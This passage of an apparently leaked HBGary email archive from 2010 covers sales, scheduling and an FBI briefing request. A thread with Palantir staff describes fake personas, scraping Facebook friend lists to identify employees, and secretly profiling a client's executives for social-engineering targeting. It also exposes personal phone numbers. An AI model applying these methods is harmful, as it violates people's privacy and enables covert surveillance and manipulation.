7, 2010 11:43:04 AM EDTTo: \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;Subject: FIRST Conference in MiamiAaron,Hello, I am SSA Chris Geary of the FBI\'s Cyber Division. &nbsp;We had spoken briefly at the FIRST Conference in Miami. &nbsp;I think it was was Martin who introduced us during a discussion of malware fingerprinting. &nbsp;I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis. &nbsp;I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis. &nbsp;&nbsp;Do you have a presentation that you could provide us on this? &nbsp;If possible, we would like to visit your shop in the next week or so, if your schedules permit. &nbsp;Please advise if this is something that you could provide. Thank You,Chris &nbsp;SSA Christopher A. GearyCERT/CC Liaison3238 CIC Pittsburgh, PA 15213(412) 268-9244',1196,'aaron_hbgary_com/1196.html'),(11368,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008619.M924911P14101Q6223.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','EndGames','Bank of the West just requested a quote for 12 months of EndGames\r\nservice.  Sweet.\r\n\r\nTed\r\n',11581,'aaron_hbgary_com/11581.html'),(11369,'2010-09-07','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008620.M145402P14101Q6224.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Material','Hi Aaron,\r\n\r\nI think that would be excellent.\r\n\r\nCan you work with Maria to make sure that time allotted for your\r\npresentation on the agenda she is working on?\r\n\r\nWe have two hours planned. The first hour is the high-level APT overview\r\nwith many executives in attendance. The second hour is the solutions\r\ndiscussion.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 9:54 AM\r\nTo: Daniel Collender\r\nSubject: Social Media Material\r\n\r\n* PGP - S/MIME Signed: 9/7/2010 at 9:53:54 AM\r\n\r\nDaniel,\r\n\r\nI think I may be in Colorado early next week and if so was planning on\r\ncoming up to the meeting on Monday to present some social media material if\r\nthat is fine with you.\r\n\r\nAaron\r\n\r\n* Aaron Barr \r\n* Issuer: \"VeriSign\r\n',14727,'aaron_hbgary_com/14727.html'),(11370,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008620.M346827P14101Q6225.eml','\"Maria Lucas\" <maria@hbgary.com>','Fwd: Social Media Material','Straight from the customers mouth. :)Begin forwarded message:From: \"Daniel Collender\" &lt;dcollend@digitalglobe.com&gt;Date: September 7, 2010 12:04:21 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Social Media MaterialHi Aaron,I think that would be excellent.Can you work with Maria to make sure that time allotted for yourpresentation on the agenda she is working on?We have two hours planned. The first hour is the high-level APT overviewwith many executives in attendance. The second hour is the solutionsdiscussion.Best,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, September 07, 2010 9:54 AMTo: Daniel CollenderSubject: Social Media Material* PGP - S/MIME Signed: 9/7/2010 at 9:53:54 AMDaniel,I think I may be in Colorado early next week and if so was planning oncoming up to the meeting on Monday to present some social media material ifthat is fine with you.Aaron* Aaron Barr &lt;aaron@hbgary.com&gt;* Issuer: \"VeriSign',587,'aaron_hbgary_com/587.html'),(11371,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008620.M589879P14101Q6226.eml','\"Maria Lucas\" <maria@hbgary.com>','Fwd: Social Media Material','I need some time in the first hour. &nbsp;The high level executives need to hear this pitch, in fact many of them I have been collecting social media data on so it will nail it home.AaronBegin forwarded message:From: \"Daniel Collender\" &lt;dcollend@digitalglobe.com&gt;Date: September 7, 2010 12:04:21 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Social Media MaterialHi Aaron,I think that would be excellent.Can you work with Maria to make sure that time allotted for yourpresentation on the agenda she is working on?We have two hours planned. The first hour is the high-level APT overviewwith many executives in attendance. The second hour is the solutionsdiscussion.Best,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, September 07, 2010 9:54 AMTo: Daniel CollenderSubject: Social Media Material* PGP - S/MIME Signed: 9/7/2010 at 9:53:54 AMDaniel,I think I may be in Colorado early next week and if so was planning oncoming up to the meeting on Monday to present some social media material ifthat is fine with you.Aaron* Aaron Barr &lt;aaron@hbgary.com&gt;* Issuer: \"VeriSign',11796,'aaron_hbgary_com/11796.html'),(11372,'2010-09-07','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008620.M844269P14101Q6227.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Social Media Material','I think we should include you in both discussions?\r\nOn Tue, Sep 7, 2010 at 9:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nStraight from the customers mouth. :)\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;\r\n\r\nDate: September 7, 2010 12:04:21 PM EDT\r\n\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: RE: Social Media Material\r\n\r\nHi Aaron,I think that would be excellent.Can you work with Maria to make sure that time allotted for yourpresentation on the agenda she is working on?We have two hours planned. The first hour is the high-level APT overview\r\nwith many executives in attendance. The second hour is the solutionsdiscussion.Best,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 9:54 AMTo: Daniel CollenderSubject: Social Media Material* PGP - S/MIME Signed: 9/7/2010 at 9:53:54 AMDaniel,I think I may be in Colorado early next week and if so was planning on\r\ncoming up to the meeting on Monday to present some social media material ifthat is fine with you.Aaron* Aaron Barr &lt;aaron@hbgary.com&gt;* Issuer: &quot;VeriSign\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',12323,'aaron_hbgary_com/12323.html'),(11373,'2010-09-07','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008621.M310771P14101Q6229.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Another Killer Demo','\r\nAaron --\r\n\r\nI wanted to give you a quick update on where we stand on both the social\r\nnetwork data and the malware exploration. \r\n\r\nI\'ve located the source data for our old facebook demo, but it\'s over a year\r\nold -- before both the cyber ontology and facebook\'s change to their API\'s\r\nso that things like \"favorite movies\" weren\'t part of the profile anymore.\r\nGiven that, when you\'re ready to start integrating social network data for\r\nyour training and exploration, it\'s not likely to be of assistance.\r\n\r\n\r\nFor malware data, we\'re ready to start analyzing as soon as you can provide\r\nit. \r\n\r\nWe\'re on a tight schedule -- the GovCon abstracts need to go to the printer\r\nby next Thursday, September 16th -- so although we don\'t need to have the\r\nanalysis completed by then, we need to be absolutely certain that we\'ll have\r\nsomething to demo by conference day. \r\n\r\nEven a small sample of the XML output (or whatever else you think is worth\r\nintegrating) will help us get started on the data integration piece. If I\r\nshould be working directly with Ted to get the samples, please let me know.\r\n\r\nThanks,\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 02, 2010 9:59 AM\r\nTo: Aaron Zollman\r\nSubject: Re: Another Killer Demo\r\n\r\nGreat.  I have a meeting from 1230-2 close to your office so can just head\r\nthere afterwards, be there around 230.\r\n\r\nAaron\r\n\r\nOn Sep 1, 2010, at 4:07 PM, Aaron Zollman wrote:\r\n\r\n> Maryland until about 1pm, then headed back south to McLean. The Palantir\r\n> office in Tysons works for me as a meeting point, too.\r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, September 01, 2010 10:58 AM\r\n> To: Aaron Zollman\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> I am going to be in Mclean most of the day.  Where are you going to be\r\n> tomorrow.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 31, 2010, at 5:04 PM, Aaron Zollman wrote:\r\n> \r\n>> \r\n>> Sounds good. Pick a time 2pm ET or later. Dropping by Bethesda would be\r\non\r\n>> the way Thursday, too.\r\n>> \r\n>> \r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, August 30, 2010 10:38 PM\r\n>> To: Aaron Zollman\r\n>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>> Subject: Re: Another Killer Demo\r\n>> \r\n>> I get it on the breakout sessions.  We would like to pursue the path to\r\n>> breakout with fingerprint data.  That hasn\'t changed.\r\n>> \r\n>> So here is the dynamic I am working with right now.\r\n>> \r\n>> We have separate customers interested in our ability to do volume malware\r\n>> processing and threat intelligence (this is TMC, Fingerprint, and\r\n>> Palanatir).\r\n>> \r\n>> We have other customers, mostly on offense, that are interested in Social\r\n>> Media for other things.\r\n>> \r\n>> In the end both of these capabilities come together to build real threat\r\n>> intelligence marrying up malware data with social media data, just baby\r\n>> steps.\r\n>> \r\n>> The social media stuff seems like low hanging fruit, so lets have a phone\r\n>> conversation on that on Thursday to discuss what are the next steps and\r\n>> when.\r\n>> \r\n>> On the threat intelligence side we have some prep work to do.  Greg told\r\n> me\r\n>> that the data that he has is basically not available.  Something about\r\n>> giving the TMC to HBGary Fed and dropping that because it was taking to\r\n> many\r\n>> development resources and they need to focus.  What does that mean, not a\r\n>> huge deal, but we need to rerun our malware through the TMC and then\r\n> through\r\n>> fingerprint and then take that data into Palantir.  Right now we are\r\n> running\r\n>> at max speed the rest of the week to get our Pentest report done and out\r\n> to\r\n>> the customer by Thursday.  So on Monday next week we can regroup with\r\nMark\r\n> I\r\n>> think and talk about how to get the threat intel stuff going.  We have a\r\n>> meeting with US-CERT on the 9th and it would be good to be able to tell\r\n> them\r\n>> a little more than what we have right now, meaning we have a plan to\r\n>> execute.  The stick here is in our hands.  I will reread your last email,\r\n>> head is flooded, and we can readdress this on Thursday as well.\r\n>> \r\n>> Sound ok?  Good thing is potential customers definitely interested.\r\n>> \r\n>> Lets do a webex on Thursday instead I can show you a few things I am\r\n> working\r\n>> on.  I will set it up.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n>> \r\n>>> \r\n>>> 	For the two breakout spaces, we\'re looking for an integration that\r\n>>> focuses more on technical data. While I\'d like to talk through this\r\n>> proposed\r\n>>> workflow some more -- and it\'s certainly appropriate for the demo\r\nstation\r\n>>> you guys will have at GovCon -- it may not be right for the breakout\r\n>>> sessions where Steckman and I have to focus our development energy. But\r\n>>> let\'s walk down the path a little further before we decide anything:\r\n>>> \r\n>>> 	Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\n>>> a targeted subset for a few users of interest; possibly using helpers to\r\n>>> reach out to the API\'s? \r\n>>> \r\n>>> 	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\n>>> their AUP, resulting in a lawsuit, when he crawled most of Facebook\'s\r\n>> social\r\n>>> graph to build some statistics. I\'d be worried about doing the same.\r\n(I\'d\r\n>>> ask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s\r\n>> already\r\n>>> deleted it.)\r\n>>> \r\n>>> 	Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\n>>> you want to build out the workflow a little. The new cyber ontology has\r\n> an\r\n>>> \"online account\" type set up by default; we can start by preparing a\r\n>>> Facebook Account subtype and build outward from there. \r\n>>> \r\n>>> 	Phone call good enough, or should we set up shop somewhere with data\r\n>>> and laptops? \r\n>>> \r\n>>> \r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst\r\n>>> azollman@palantir.com | 202-684-8066\r\n>>> \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Monday, August 30, 2010 8:54 AM\r\n>>> To: Aaron Zollman\r\n>>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>>> Subject: Re: Another Killer Demo\r\n>>> \r\n>>> I think you would be demonstrating something completely new from a\r\n>> security\r\n>>> standpoint.  Twitter requires no authentication.  Follow anyone you\r\nwant.\r\n>>> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n>>> friends lists are much closer to representing someones actual social\r\n>> circle\r\n>>> than just another source of information.  This has huge security\r\n>>> consequences.  My hypothesis is there is an immense amount of\r\ninformation\r\n>> we\r\n>>> can glean from this information.  I have actually already proven this on\r\n> a\r\n>>> small scale doing research manually.  I have been able to determine\r\n> people\r\n>>> who are employees of specific companies even though their profile was\r\n>>> completely blocked, except their friends lists.  I correlated friends\r\n>> lists\r\n>>> across multiple people who I knew were employees of a particular company\r\n>> to\r\n>>> determine this.  I also was able to cross this information with Linkedin\r\n>>> information and determine people that were in subcontracting\r\n> relationships\r\n>>> to other companies.  I think all of the facebook information in a\r\n> Palantir\r\n>>> framework could result in some of the most significant security\r\n>> revelations\r\n>>> related to social media yet published.  No more handwaving, but real\r\ndata\r\n>> to\r\n>>> show the vulnerabilities.  There is a huge social engineering /targeting\r\n>>> potential here as well.  If I wanted to target a particular organization\r\n>>> what groups should I belong to, who are the influencers in the group,\r\nwho\r\n>>> has the most connections, etc.\r\n>>> \r\n>>> Lets get together to discuss and I can walk you through some of the\r\nstuff\r\n>> I\r\n>>> am doing with persona development and social media exploitation.\r\n>>> \r\n>>> Aaron\r\n>>> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n>>> \r\n>>>> \r\n>>>> 	It\'d be even easier with the graph APIs...\r\n>>>> http://graph.facebook.com/ ... JSON parser & an API key and we could\r\n>> knock\r\n>>>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>>>> \r\n>>>> 	What\'s the workflow we\'d be shooting for, other than as a\r\n>>>> visualization front-end for an organization\'s structure? \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n>>>> trying to hunt down the video -- so we wouldn\'t be demonstrating\r\n> anything\r\n>>>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>>>> pen-testing/cybersecurity context. An integration with this and some\r\n>> other\r\n>>>> pen-testing data -- known account identifiers, and data collected from\r\n>>> them,\r\n>>>> for example -- might be cool. If we could bring in some malware\r\n>>> fingerprint \r\n>>>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>>>> exploration...\r\n>>>> \r\n>>>> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>>>> helpful.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> _________________________________________________________\r\n>>>> Aaron Zollman\r\n>>>> Palantir Technologies | Embedded Analyst\r\n>>>> azollman@palantir.com | 202-684-8066\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>>>> To: Matthew Steckman\r\n>>>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>>>> Subject: Re: Another Killer Demo\r\n>>>> \r\n>>>> On the social side here is what I would like to do.  I think between\r\n> Mark\r\n>>>> and Aaron this could be put together very quickly and would be\r\npowerful.\r\n>>>> \r\n>>>> start with a profile in facebook.\r\n>>>> \r\n>>>> http://www.facebook.com/profile.php?id=100001092994636\r\n>>>> \r\n>>>> View the source of that page.  There is all kinds of information we can\r\n>>>> collect and parse to build some very robust social maps.\r\n>>>> Those people that provide information and have their friends lists\r\n>> exposed\r\n>>>> provide an incredible social engineering and recon tool.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>>>> \r\n>>>>> Brandon is a rockstar!!! Good call.\r\n>>>>> \r\n>>>>> Let us know if you want help on the demo, sounds like it could be\r\n> really\r\n>>>>> interesting.  We\'d probably love to make a video of is as well to put\r\n> up\r\n>>>> on\r\n>>>>> our analysis blog (with HBGary branding of course!).\r\n>>>>> \r\n>>>>> Matthew Steckman\r\n>>>>> Palantir Technologies | Forward Deployed Engineer\r\n>>>>> msteckman@palantir.com | 202-257-2270\r\n>>>>> \r\n>>>>> Follow @palantirtech\r\n>>>>> Watch youtube.com/palantirtech\r\n>>>>> Attend Palantir Night Live\r\n>>>>> \r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>>>> To: Matthew Steckman\r\n>>>>> Cc: Aaron Zollman\r\n>>>>> Subject: Another Killer Demo\r\n>>>>> \r\n>>>>> Matt,\r\n>>>>> \r\n>>>>> I have been doing talks on social media, have a lot more scheduled,\r\n>> along\r\n>>>>> with some training gigs.  In the process I am setting up a lot of\r\n>>> personas\r\n>>>>> and doing social media pen testing against organizations.\r\n>>>>> \r\n>>>>> What I have found is there is an immense amount of information peoples\r\n>>>>> friends lists as well as other social media digital artifacts can tell\r\n>>> us.\r\n>>>>> I think Palantir would be an awesome tool to present and use for\r\n>>> analysis.\r\n>>>>> We are just going to have to get someone to write a helper app.  I am\r\n>>>> hoping\r\n>>>>> to be able to hire Brandon Colston soon.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>> \r\n>>> \r\n>> \r\n> \r\n\r\n',5857,'aaron_hbgary_com/5857.html'),(11374,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008621.M511337P14101Q6230.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Social Media Material','OK so going to book a ticket for early next week.What else can we do?AaronBegin forwarded message:From: \"Daniel Collender\" &lt;dcollend@digitalglobe.com&gt;Date: September 7, 2010 12:04:21 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Social Media MaterialHi Aaron,I think that would be excellent.Can you work with Maria to make sure that time allotted for yourpresentation on the agenda she is working on?We have two hours planned. The first hour is the high-level APT overviewwith many executives in attendance. The second hour is the solutionsdiscussion.Best,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, September 07, 2010 9:54 AMTo: Daniel CollenderSubject: Social Media Material* PGP - S/MIME Signed: 9/7/2010 at 9:53:54 AMDaniel,I think I may be in Colorado early next week and if so was planning oncoming up to the meeting on Monday to present some social media material ifthat is fine with you.Aaron* Aaron Barr &lt;aaron@hbgary.com&gt;* Issuer: \"VeriSign',4502,'aaron_hbgary_com/4502.html'),(11375,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008621.M710215P14101Q6231.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Fwd: Social Media Material','Maria,I have been collecting social media data on DigitalGlobe for the last few weeks and I think a brief presentation will really nail it home. &nbsp;This information I think is very relevant to the APT discussion since APT is Foreign Intelligence Services and they use social media for targeting and social engineering. &nbsp;I can scare the crap out of them. &nbsp;LIkewise I think briefly we could provide some benefit to the solutions discussion.AaronBegin forwarded message:From: \"Daniel Collender\" &lt;dcollend@digitalglobe.com&gt;Date: September 7, 2010 12:04:21 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Social Media MaterialHi Aaron,I think that would be excellent.Can you work with Maria to make sure that time allotted for yourpresentation on the agenda she is working on?We have two hours planned. The first hour is the high-level APT overviewwith many executives in attendance. The second hour is the solutionsdiscussion.Best,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, September 07, 2010 9:54 AMTo: Daniel CollenderSubject: Social Media Material* PGP - S/MIME Signed: 9/7/2010 at 9:53:54 AMDaniel,I think I may be in Colorado early next week and if so was planning oncoming up to the meeting on Monday to present some social media material ifthat is fine with you.Aaron* Aaron Barr &lt;aaron@hbgary.com&gt;* Issuer: \"VeriSign',16287,'aaron_hbgary_com/16287.html'),(11376,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008621.M89716P14101Q6228.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Social Media Material','Absolutely. &nbsp;Social Media is very relevant to APT since APT is really in many cases foreign intelligence services that will use social media for targeting, social engineering, and distribution. &nbsp;From a solutions perspective discussing what can be done and how we can help.AaronOn Sep 7, 2010, at 12:09 PM, Maria Lucas wrote:I think we should include you in both discussions?\r\nOn Tue, Sep 7, 2010 at 9:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nStraight from the customers mouth. :)\r\n\r\nBegin forwarded message:\r\n\r\nFrom: \"Daniel Collender\" &lt;dcollend@digitalglobe.com&gt;\r\n\r\nDate: September 7, 2010 12:04:21 PM EDT\r\n\r\nTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: RE: Social Media Material\r\n\r\nHi Aaron,I think that would be excellent.Can you work with Maria to make sure that time allotted for yourpresentation on the agenda she is working on?We have two hours planned. The first hour is the high-level APT overview\r\nwith many executives in attendance. The second hour is the solutionsdiscussion.Best,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 9:54 AMTo: Daniel CollenderSubject: Social Media Material* PGP - S/MIME Signed: 9/7/2010 at 9:53:54 AMDaniel,I think I may be in Colorado early next week and if so was planning on\r\ncoming up to the meeting on Monday to present some social media material ifthat is fine with you.Aaron* Aaron Barr &lt;aaron@hbgary.com&gt;* Issuer: \"VeriSign\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n',6173,'aaron_hbgary_com/6173.html'),(11377,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008621.M915496P14101Q6232.eml','\"Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>,\"Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>','Re: Classified Capabilities Brief','Joe,\r\n\r\nLooks like I am going to be in town early next week.  Any availability to have the discussion we were working towards?\r\n\r\nAaron\r\n\r\nOn Sep 1, 2010, at 12:11 PM, Maier, Raymond Joe (US SSA) (US ASTSS Huntsville) wrote:\r\n\r\n> Aaron,\r\n> I am with a customer most of today. I will send you a note when free.\r\n> \r\n> \r\n> Joe Maier\r\n> 719.235.1898 - Mobile\r\n> 719.325.8445 - Work\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, 01 September, 2010 09:06 AM\r\n> To: Ted Vera\r\n> Cc: Maier, Raymond \"Joe\" (US SSA) (US ASTSS Huntsville)\r\n> Subject: Re: Classified Capabilities Brief\r\n> \r\n> Hi Joe,\r\n> \r\n> Can I give you a call to talk a little about the opportunity and we can discuss when is a good time to come out?\r\n> \r\n> Aaron\r\n> \r\n> On Aug 30, 2010, at 12:54 PM, Ted Vera wrote:\r\n> \r\n>> Hi Joe,\r\n>> \r\n>> I just spoke with Aaron (cc\'d).  He is planning to be in the Springs September 15-17th.  Would either the 15th or the 17th work for a classified capabilities brief?  If there is an immediate need he may be able to travel sooner - when would the customer like to meet?\r\n>> \r\n>> Feel free to coordinate directly with Aaron -- cell:  719-510-8478.\r\n>> \r\n>> Regards,\r\n>> Ted\r\n>> \r\n> \r\n\r\n',6708,'aaron_hbgary_com/6708.html'),(11378,'2010-09-07','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297008622.M109888P14101Q6233.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','SecDev - licenses','Dear Aaron,Hope all is well. Please excuse the silence from our side - Rafal\'s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal\'s time for August and this month has been heavily sidetracked.We are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you\'ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?On the collaboration side, we are looking to reengage with you and the team at HBGary soon.Best wishes,ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n',13984,'aaron_hbgary_com/13984.html'),(11379,'2010-09-07','\"Kerrigan, Jack\" <jkerrigan@BlackbirdTech.com>','/aaron@hbgary.com/new/1297008622.M526484P14101Q6234.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','Hi Aaron:\r\n        I hope you had a great Labor Day weekend. I can meet you at 11:00 a.m. or 3:00 p.m. tomorrow. Best, Jack\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tuesday, September 07, 2010 10:25 AM\r\nTo: Kerrigan, Jack\r\nCc: Penny Leavy\r\nSubject: Discussion\r\n\r\nHi Jack,\r\n\r\nDo you have some time tomorrow to get together?  I am pretty open focusing on finishing up some training material.\r\n\r\nAaron\r\n',2690,'aaron_hbgary_com/2690.html'),(11380,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008622.M715984P14101Q6235.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>,\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>','Re: 92nd IOS Proposal','Hi Steve & Patrick,\r\n\r\nI\'d love the opportunity to discuss teaming.  I have availability Wed\r\nor Thur.  I\'ll be out of office most of Friday at a customer site.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Mon, Sep 6, 2010 at 8:18 AM, Winterfeld, Steven P (TASC)\r\n wrote:\r\n> Ted\r\n>\r\n>\r\n>\r\n> I would like to set up  a time for you to talk to our team in San Antonio\r\n> about teaming opportunities.  Do you have  time this week?\r\n>\r\n>\r\n>\r\n> Steve\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15225,'aaron_hbgary_com/15225.html'),(11381,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008622.M929682P14101Q6236.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Can you demo TMC next week?','Aaron and I will be doing a TMC related webex this Thursday.  Mark is\r\nworking on the basic functionality and GUI now.  We hope to have a\r\nbasic web-interface that will allow users to upload one or more\r\n(batch) files, and to view basic reports done by this Thursday.  Can\r\nwe wait until Thursday to commit to the date(s) below?\r\n\r\nTed\r\n\r\nOn Tue, Sep 7, 2010 at 7:03 AM, Bob Slapnik  wrote:\r\n> Ted,\r\n>\r\n>\r\n>\r\n> Will TMC be available to demo via webex next week?  I am assuming via\r\n> webex.  How do you look on 9/14 or 9/15 at 10 am EDT?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',6141,'aaron_hbgary_com/6141.html'),(11382,'2010-09-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008623.M140355P14101Q6237.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Can you demo TMC next week?','Ted,\r\n\r\nThe meeting next week is for everything HBGary has, not just TMC.  I am\r\ngoing to schedule Wed 9/15 at 10 EDT and we will demo TMC if we can.\r\n\r\nBob \r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, September 07, 2010 1:53 PM\r\nTo: Bob Slapnik\r\nCc: Barr Aaron; mark@hbgary.com\r\nSubject: Re: Can you demo TMC next week?\r\n\r\nAaron and I will be doing a TMC related webex this Thursday.  Mark is\r\nworking on the basic functionality and GUI now.  We hope to have a\r\nbasic web-interface that will allow users to upload one or more\r\n(batch) files, and to view basic reports done by this Thursday.  Can\r\nwe wait until Thursday to commit to the date(s) below?\r\n\r\nTed\r\n\r\nOn Tue, Sep 7, 2010 at 7:03 AM, Bob Slapnik  wrote:\r\n> 